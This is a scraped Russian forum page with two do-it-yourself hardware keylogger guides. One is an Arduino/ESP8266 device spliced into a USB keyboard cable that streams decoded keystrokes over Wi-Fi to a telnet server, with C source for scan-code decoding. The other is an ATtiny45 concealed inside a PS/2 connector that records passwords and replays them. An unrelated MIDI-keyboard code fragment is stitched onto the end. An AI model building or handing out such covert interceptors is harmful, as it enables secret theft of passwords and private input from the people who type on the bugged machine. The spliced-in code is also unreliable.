Аппаратный кейлоггер своими руками

keylogger своими руками

Что нам понадобится?

  1. Для просмотра ссылки необходимо: Войти или Регистрация Для просмотра ссылки необходимо: Войти или Регистрация
  2. Для просмотра ссылки необходимо: Войти или Регистрация
  3. Для просмотра ссылки необходимо: Войти или Регистрация для прошивки платы Iskra Mini и ESP8266 Для просмотра ссылки необходимо: Войти или Регистрация
  4. Для просмотра ссылки необходимо: Войти или Регистрация 2 шт.
  5. Для просмотра ссылки необходимо: Войти или Регистрация
  6. Для просмотра ссылки необходимо: Войти или Регистрация
  7. Для просмотра ссылки необходимо: Войти или Регистрация 100 нФ 1 шт.
  8. Для просмотра ссылки необходимо: Войти или Регистрация10 мкФ x 25 В 1 шт.
  9. Для просмотра ссылки необходимо: Войти или Регистрация 220 Ом 1 шт., 1 кОм 1 шт., 10 кОм 3 шт.
  10. Для просмотра ссылки необходимо: Войти или Регистрация для прототипирования устройства
  11. Для просмотра ссылки необходимо: Войти или Регистрация для сборки прототипа в готовое устройство
  12. Для просмотра ссылки необходимо: Войти или Регистрация
  13. Для просмотра ссылки необходимо: Войти или Регистрация
  14. Для просмотра ссылки необходимо: Войти или Регистрация
  15. Удлинитель USB «мама-папа»

Настройка и прошивка платы ESP8266
ESP8266 — это непросто WI-FI шилд, это высоко интегрированный микроконтроллер со своим набором интерфейсов.
С базовой прошивкой плата ESP8266 используется в виде моста UART ↔ WIFI и управляется с помощью AT-команд. В нашем проекте такая прошивка не имеет смысла, так как модуль сам независимо может работать без дополнительных микроконтроллеров, если в него загрузить другую прошивку. Прошить модуль можно с помощью USB-Serial адаптера. Давайте сделаем это.
Настройка Arduino IDE
Arduino IDE позволяет создавать прошивки и прошивать их непосредственно прямо в ESP8266 используя USB-Serial адаптер точно так же, как вы это делаете с другими платами Arduino. Кроме того, вы можете использовать практически все Arduino библиотеки с ESP8266. Давайте рассмотрим подробно как это сделать.

  1. Запустите Arduino IDE.
  2. Перейдите в меню: Файл Настройки и в поле Additional Boards Manager URLs вставьте ссылку: Для просмотра ссылки необходимо: Войти или Регистрация и нажмите OK.
  3. Перейдите в меню: Инструменты Плата Boards manager и в поле фильтра введите esp8266 или вручную пролистайте список и кликните на ESP8266 by ESP8266 Community. Кликните Install и дождитесь окончания загрузки (около 130 Мегабайт).
  4. Закройте Boards Manager и в меню: Инструменты Плата выберите «Generic ESP8266» .
  5. Установите частоту вашего модуля 80/160Mhz, размер флеш памяти и выберите последовательный порт, к которому подключен ваш USB-Serial адаптер.

Теперь Arduino IDE знает — знает всё что ей необходимо для прошивки платы ESP8266.
Загрузка скетча
Модуль ESP8266 будет создавать TCP-сервер и передавать на него данные о нажатых клавишах клавиатуры, полученные через Serial соединение с платой Iskra Mini. Реализацию такого моста вы можете найти среди стандартных примеров из библиотеки ESP8266.
Для этого зайдите в меню: Файл Образцы ESP8266WIFI WiFiTelnetToSerial и загрузите в плату ESP8266 открывшийся скетч. При прошивке на плате ESP8266 будет мигать синий светодиод.

Плата прошита теперь можно приступать к сборке устройства.
Как собрать?

  1. Используя Для просмотра ссылки необходимо: Войти или Регистрация по плате Iskra Mini прошейте её Для просмотра ссылки необходимо: Войти или Регистрация приведённым ниже.
  2. Прошейте плату ESP8266 используя инструкцию написанную выше.
  3. Установите плату Iskra Mini на Breadboard.
  4. Линии питания и земли платформы Iskra Mini соедините с помощью проводов «папа-папа» с верхними рельсами питания и земли макетной платы, по ним будет идти напряжение 5 вольт. Соедините верхнюю и нижнюю рельсу земли макетной платы проводом «папа-папа».
  5. Так как плата ESP8266 работает строго от 3,3 вольт, соберём регулятор напряжения на основе микросхемы LM317 и подключим его выход Vout к нижним рельсам питания и земли макетной платы. Для этого соберите схему приведенную ниже, где:
    • LM317 регулятор напряжения;
    • C1 керамический конденсатор 100 нФ;
    • С2 электролитический конденсатор 10 мкФ;
    • R1 резистор 220 Ом;
    • R2 потенциометр 10 кОм;
    • Vin входное напряжение 5 вольт;
    • Vout выходное регулируемое напряжение.
  6. Подключите напряжение 5 вольт к верхним рельсам питания и земли. С помощью мультиметра и потенциометра отрегулируйте выходное напряжения на 3,3 вольта.
  7. Возьмите плату ESP8266 и с помощью проводов «мама-папа» соедините пины VCC и GND с нижними рельсами питания 3,3 В и земли макетной платы.
  8. Управляющий пины TX и RX платформы Iskra Mini соедините с пинами RX и TX платы ESP8266, причём пин TX платформы Iskra Mini соедините с платой ESP8266 через резисторный делитель напряжения, чтобы своим высоким сигналом не спалить ESP8266.
  9. С помощью проводов «мама-папа» подтяните пины CH_PD, RST и GPIO платы ESP8266 к питанию +3.3 В через резисторы 10 кОм.
  10. Возьмите USB удлинитель «мама-папа» и разрежьте его пополам. Далее зачистите с обеих сторон все его контакты и соедините их с макетной платой через 2 заранее установленных клеммника.
  11. Воспользовавшись цветовой маркировкой USB соедините контакты USB удлинителя через клеммник следующим образом:
    • красный провод +5V — питание верхней рельсы макетной платы;
    • чёрный провод GND — земля макетной платы;
    • жёлтый провод D+ — к цифровому пину 2 платы Iskra Mini;
    • белый провод D− — к цифровому пину 4 платы Iskra Mini; В итоге получилась схема, приведенная ниже.
  12. Перенесём готовое устройство на Perfboard для устойчивости и компактности.
    Алгоритм
    • Сразу после подачи питания настраиваем пин платы Iskra Mini, к которому подключен сигнал D+, на прерывание по восходящему фронту.
    • Как только прерывание сработает, запишем все входящие данные в массив.
    • Среди пришедших данных вычленяем 2 скан-кода — байта:
      • первый несёт информацию о нажатии модификационных клавиш, в нашем случае нас интересует Shift;
      • второй несёт информацию о значении нажатой клавиши.
    • Декодируем скан-код нажатой клавиши в соответствии с таблицей скан-кодов в зависимости от того нажата ли была клавиша Shift.
    • Выводим нажатую клавишу в Serial-порт.
    • Плата ESP8266 считывает все пришедшие данные со своего Serial-порта и выводит их в заранее созданный TCP-сервер.

    Исходный код
    Для просмотра ссылки необходимо: Войти или Регистрация
    #include <avr/io.h>
    #include <avr/interrupt.h>
    #include <avr/wdt.h>
    #include <avr/pgmspace.h>
    // библиотека для работы с протоколом USB
    #include <usbdrv.h>
    // библиотека для работы с Serial-портом
    #include <uart.h>
    // PID 8 бит идентификатор
    // ADDR 7 бит адрес устройства
    // Endpoint 4 бита номер конечной точки
    // CRC 5 бит контрольная сумма
    // итого 3 байта
    #define IN_SIZE 3
    // PID 8 бит идентификатор
    // DATA 64 бита данные
    // CRC 16 бит контрольная сумма
    // итого 11 байт
    #define USB_BUFSIZE 11
    // количество принятых пакетов хранимых в памяти
    // должно быть четным и соблюдаться условие
    // (IN_SIZE + USB_BUFSIZE)*FIFO_BUF_SIZE < 255
    #define FIFO_BUF_SIZE 10
    // RX буфер: 3 байта запроса IN + 11 байт данных DATAx
    unsigned char usbRxBuf;
    unsigned char FIFOBuf;
    // номер текущей записываемой пары IN-DATA (0-FIFO_BUF)
    unsigned char CurWritePos = 0;
    // номер текущей прочитываемой пары IN-DATA (0-FIFO_BUF)
    unsigned char CurReadPos = 0;
    // массив символов для декодирования скан-кодов при не нажатой клавиши Shift
    unsigned char masskey = «abcdefghijklmnopqrstuvwxyz1234567890-=\\X;’`,./»;
    // массив символов для декодирования скан-кодов при зажатой клавиши Shift
    unsigned char masskeyShift = «#$%^&*()_+{}|X:\»~<>?»;
    void setup()
    {
    // открываем последовательный порт
    Serial.begin(19200);
    // настраиваем прерывание
    usbInit();
    // печатаем о готовности устройства
    Serial.print(«UART init complet»);
    // разрешаем прерывания
    sei();
    }
    void loop()
    {
    // если сработало прерывание
    // то переменная CurWritePos изменит своё значение
    if (CurWritePos != CurReadPos) {
    // вызываем функцию printResult
    printResult(FIFOBuf + CurReadPos*(USB_BUFSIZE+IN_SIZE) + IN_SIZE, USB_BUFSIZE);
    CurReadPos++;
    if (CurReadPos >= FIFO_BUF_SIZE) {
    CurReadPos = 0;
    }
    }
    }
    void printResult(uchar *datakey, uchar len)
    {
    bool shift = 0;
    // если во время очередного нажатия на клавишу
    // была нажата кнопка Shift
    if ((*(datakey + 1) == 0x2) || (*(datakey + 1) == 0x20))
    shift = 1;
    else
    shift = 0;
    // если 3 байт из массива данных пришёл не нулевой
    // значит нажата одна из клавиш
    if (*(datakey + 3) != 0) {
    // вызываем функцию печати символа
    printKey(*(datakey + 3), shift);
    }
    }
    void printKey(uchar key, bool shift)
    {
    // если нажата одна из клавиш английского алфавита
    if (key >= 0x4 && key <= 0x27) {
    // если нажат Shift декодируем скан-коды как заглавные буквы
    if (shift == 1) {
    Serial.write(masskeyShift);
    } else {
    // если нет декодируем скан-коды как строчные буквы
    Serial.write(masskey);
    }
    } else if (key == 0x28) {
    // если пришел скан-код клавиши Enter
    Serial.print(«\r\n»);
    } else if (key == 0x2B) {
    // если пришел скан-код клавиши Tab
    Serial.print(«\t»);
    } else if (key == 0x2C) {
    // если пришел скан-код клавиши Space
    Serial.print(» «);
    } else if (key >= 0x2d && key <= 0x38) {
    // если пришел сканд-код из знаков пунктуации
    if (shift == 1)
    Serial.write(masskeyShift);
    else
    Serial.write(masskey);
    } else {
    // если пришёл скан-код которого мы не знаем
    // печатаем его без декодирования
    printHex(key);
    }
    }
    Так как данные передается на очень высокой скорости, то для его захвата и анализа используются ассемблерные вставки, которые подключаются с помощью библиотеки Для просмотра ссылки необходимо: Войти или Регистрация, которая в своем составе содержит функции приема и обработки USB сигнала.
    Данные захваченные с USB шины и отправленные на TCP-сервер можно посмотреть любой терминальной программой поддерживающей Telnet. Мы использовали Для просмотра ссылки необходимо: Войти или Регистрация. Так же можно подключиться и с Android устройств, например программой Для просмотра ссылки необходимо: Войти или Регистрация.

Аппаратный кейлоггер: Мой вариант + доработка

Если вас заинтересовала эта черная штуковина и вы хотите себе такую же, то описание и инструкция по изготовлению ждет вас.
На хабре есть отличная публикация по этой теме. Не стану повторять теорию и принципы работы (все это отлично раскрыто в указанной выше статье), лучше продемонстрирую свою реализацию и подробно опишу её отличительную особенность.
В первом приближении все тоже самое: микроконтроллер включается в разрыв PS/2 интерфейса клавиатуры и компа, ловит нажатие кнопок и пишет их в свою память. Используется встроенная в МК энергонезависимая память (EEPROM), ёмкости которой хватит на пароль от винды и еще чуть-чуть. Для перехвата чего-то большего лучше использовать внешнюю память.
Особенность моей реализации заключается в выводе перехваченных данных, используя эмуляцию клавиатуры. Если подключить прибор и в течении 5 секунд нажать спец. кнопку (по умолчанию ENTER), кейлоггер шлет сохраненные символы в комп. Открыв любой текстовый редактор, видим то, что было перехвачено.
При этом в память пишутся служебные скан коды, что позволяет сохранять и воспроизводить разнообразные действия, такие как: стирание по backspace, символы нажатые с шифтом, переключения раскладки и т.д.
Контроллером выбран 8-ми ногий AtTiny45 в маленьком корпусе SOIC, благодаря чему его можно смонтировать прямо в корпусе разъема. Возможна замена на Tiny25/85 (отличаются объемами памяти как флеш, так и EEPROM) или Tiny13/15 (отличаются чуть сильнее). Современные МК отлично подходят для подобных применений, так как не требуют для работы никаких внешних компонентов, например, при некритичных требованиях к стабильности тактовой частоты внешний кварц заменяется внутренней RC цепочкой, что и было сделано. Единственным внешним компонентом стал резистор для «подтяжки» ресета до напряжения питания.
Конструктивно кейлоггер выполнен в виде маленького переходника, собранного из двух разъемов.

Фото процесса создания.

Берем 2 mini DIN 6-pin разъёма папа и мама:

Разбираем их и прикидываем как разместить контроллер:

Далее, чтобы все состыковалось, дорабатываем некоторые детали:

Пластмасса достаточно легко режется обычным канцелярским ножом.
Распаиваем все по схеме:

Места внутри очень мало и монтаж требует определенной сноровки. Кое-где контроллер припаян непосредственно к выводам разъема, остальное на проводах. Собирается все без клея, и держится очень прочно. Контроллер и провода внутри нужно обмотать изолентой, чтобы не было замыкания через металлические половинки разъема (на фото изоленты нет для наглядности).

Для программирования контроллера используется специальный переходник, который подключается уже к готовому прибору вместо клавиатуры:

В разъеме как раз есть 2 неиспользуемых контакта (4 и 6), на которые выведены недостающие для программирования ноги RESET и ISO.
Программа для МК написана на C в среде AVRStudio + WinAVR GCC. Она довольно простая и достаточно прокомментирована. Нужно сбросить по умолчанию взведенный FUSE CKDIV8.

Возможные улучшения
  • Больше памяти. У контроллера осталось 2 неиспользуемые ноги и при желании можно подключить внешний EEPROM в таком же 8-ми ногом SOIC корпусе по шине I2C. Микросхемы можно сложить одну на другую и запихнуть все это в разъем. Тогда памяти будет на пару порядков больше (например у меня есть подходящий EEPROM на 32 Кб).
  • Функция очистки памяти. Еще одна спец. кнопка, по которой прибор будет очищать память. Сейчас же идет перезапись и иногда выводится прошлый или позапрошлый перехват.
  • Интерактивное текстовое меню. Меню из нескольких пунктов (настройки, действия и т.д.), формируемое непосредственно в блокноте.
  • Автоматизатор нажатий. Возможно кому-то понравится возможность независимо от приложения привязать к какой-то кнопке или сочетанию кнопок множество нажатий.

В итоге получился довольно удобный и миниатюрный прибор с обширной функциональностью. Его применение целиком и полностью зависит от вас.

скетч… эээ, а как тут спойлер сделать? ладно не буду выкладывать, только кусками

брал отсюда и переделывал под себя

тут задаются ноты

#define note_2F 0x29

#define note_2Fd 0x2A

#define note_2G 0x2B

#define note_2Gd 0x2C

#define note_2A 0x2D

#define note_2Ad 0x2E

#define note_2B 0x2F4

#define note_3C 0x30

#define note_3Cd 0x31

#define note_3D 0x32

потом еще куча кода

а так происходит обработка событий

// Нота 2F

if (buttonState_2F == HIGH && note_2F_send_on == false) // Нажатие клавиши

{

noteOn(0x90, note_2F, 0x7F);

note_2F_send_on = true; // Команда Note On послана

note_2F_send_off = false; // Команда Note Off не послана

}

else if (buttonState_2F == HIGH && note_2F_send_on == true) // Если клавиша удерживается

{

noteOn(0x00, note_2F, 0x7F);

note_2F_send_on = true;

note_2F_send_off = false;

}

else if (buttonState_2F == LOW && note_2F_send_off == false) // Если клавишу отпустили

{

noteOn(0x90, note_2F, 0x00);

note_2F_send_on = false;

note_2F_send_off = true;

}

// Нота 2Fd

if (buttonState_2Fd == HIGH && note_2Fd_send_on == false)

{

noteOn(0x90, note_2Fd, 0x7F);

note_2Fd_send_on = true;

note_2Fd_send_off = false;

}

else if (buttonState_2Fd == HIGH && note_2Fd_send_on == true)

{

noteOn(0x00, note_2Fd, 0x7F);